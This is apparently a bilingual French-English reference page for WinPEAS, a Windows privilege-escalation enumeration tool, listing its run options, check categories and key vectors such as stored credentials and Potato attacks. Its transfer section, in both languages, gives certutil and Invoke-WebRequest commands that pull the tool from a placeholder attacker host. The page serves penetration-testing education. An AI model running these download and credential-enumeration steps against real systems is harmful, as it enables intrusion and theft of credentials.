← retour aux outils back to tools

# WinPEAS

Script d'énumération pour l'élévation de privilèges Windows. Vérifie les services, clés de registre, credentials et des centaines d'autres vecteurs. Windows privilege escalation enumeration script. Checks services, registry keys, credentials, and hundreds of other vectors.

↗ https://github.com/carlospolop/PEASS-ng

## Overview

WinPEAS enumerates Windows systems for privilege escalation vectors. Available as an executable (`.exe`) and a batch script (`.bat`). Like LinPEAS, it colour-codes findings by severity.

## Running WinPEAS

    # Run the executable
    .\winPEASx64.exe

    # Save output
    .\winPEASx64.exe | Out-File -Encoding ascii winpeas_out.txt

    # Specific checks only
    .\winPEASx64.exe systeminfo
    .\winPEASx64.exe userinfo
    .\winPEASx64.exe servicesinfo
    .\winPEASx64.exe applicationsinfo
    .\winPEASx64.exe networkinfo
    .\winPEASx64.exe windowscreds
    .\winPEASx64.exe filesinfo

    # Batch version (no colour but works without .NET)
    winPEAS.bat

## Transfer Methods

    # From attacker HTTP server (updog or python3 -m http.server)
    certutil.exe -urlcache -split -f http://<ATTACKER_IP>/winPEASx64.exe winpeas.exe
    Invoke-WebRequest -Uri http://<ATTACKER_IP>/winPEASx64.exe -OutFile winpeas.exe

## Key Vectors WinPEAS Checks

- Unquoted service paths
- Writable service binaries
- AlwaysInstallElevated registry keys
- Stored credentials (Registry, files, Credential Manager)
- Scheduled tasks owned by admins
- Token privileges (SeImpersonatePrivilege = Potato attacks)
- DLL hijacking opportunities

Help / Man page

    .\winPEASx64.exe [systeminfo] [userinfo] [servicesinfo]
                     [applicationsinfo] [networkinfo] [windowscreds]
                     [browserinfo] [filesinfo] [eventsinfo] [wait]

    SEARCH CATEGORIES:
      systeminfo        OS, patches, AV, PowerShell version
      userinfo          Current user, groups, privileges, UAC
      servicesinfo      Services, registry, COM hijacking
      applicationsinfo  Installed software, autorun
      networkinfo       Interfaces, routes, connections, shares
      windowscreds      Stored credentials, Wi-Fi passwords, Vault
      browserinfo       Browser history and credentials
      filesinfo         Interesting files, writable paths

    MISC:
      wait              Pause at the end before closing
      log               Log output to a file
      notcolor          Disable color output

    PRIVILEGE INDICATORS:
      Red    Critical — high probability privilege escalation
      Yellow Interesting — worth investigating
      Cyan   Informational

    KEY CVEs TO CHECK:
      SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotato
      UAC bypass → depends on Windows version
      CVE-2021-1675 → PrintNightmare (if Print Spooler running)

## Vue d’ensemble

WinPEAS énumère les systèmes Windows à la recherche de vecteurs d’élévation de privilèges. Disponible en exécutable (`.exe`) et script batch (`.bat`). Comme LinPEAS, il code les résultats par couleur selon leur sévérité.

## Exécution de WinPEAS

    # Exécuter l'exécutable
    .\winPEASx64.exe

    # Sauvegarder la sortie
    .\winPEASx64.exe | Out-File -Encoding ascii winpeas_out.txt

    # Vérifications spécifiques uniquement
    .\winPEASx64.exe systeminfo
    .\winPEASx64.exe userinfo
    .\winPEASx64.exe servicesinfo
    .\winPEASx64.exe applicationsinfo
    .\winPEASx64.exe networkinfo
    .\winPEASx64.exe windowscreds
    .\winPEASx64.exe filesinfo

    # Version batch (sans couleur mais fonctionne sans .NET)
    winPEAS.bat

## Méthodes de transfert

    # Depuis le serveur HTTP de l'attaquant (updog ou python3 -m http.server)
    certutil.exe -urlcache -split -f http://<ATTACKER_IP>/winPEASx64.exe winpeas.exe
    Invoke-WebRequest -Uri http://<ATTACKER_IP>/winPEASx64.exe -OutFile winpeas.exe

## Vecteurs clés vérifiés par WinPEAS

- Chemins de service non entre guillemets
- Binaires de service accessibles en écriture
- Clés de registre AlwaysInstallElevated
- Credentials stockés (Registre, fichiers, Gestionnaire de credentials)
- Tâches planifiées appartenant à des admins
- Privilèges de token (SeImpersonatePrivilege = attaques Potato)
- Opportunités de détournement de DLL

Aide / Page de manuel

    .\winPEASx64.exe [systeminfo] [userinfo] [servicesinfo]
                     [applicationsinfo] [networkinfo] [windowscreds]
                     [browserinfo] [filesinfo] [eventsinfo] [wait]

    SEARCH CATEGORIES:
      systeminfo        OS, patches, AV, PowerShell version
      userinfo          Current user, groups, privileges, UAC
      servicesinfo      Services, registry, COM hijacking
      applicationsinfo  Installed software, autorun
      networkinfo       Interfaces, routes, connections, shares
      windowscreds      Stored credentials, Wi-Fi passwords, Vault
      browserinfo       Browser history and credentials
      filesinfo         Interesting files, writable paths

    MISC:
      wait              Pause at the end before closing
      log               Log output to a file
      notcolor          Disable color output

    PRIVILEGE INDICATORS:
      Red    Critical — high probability privilege escalation
      Yellow Interesting — worth investigating
      Cyan   Informational

    KEY CVEs TO CHECK:
      SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotato
      UAC bypass → depends on Windows version
      CVE-2021-1675 → PrintNightmare (if Print Spooler running)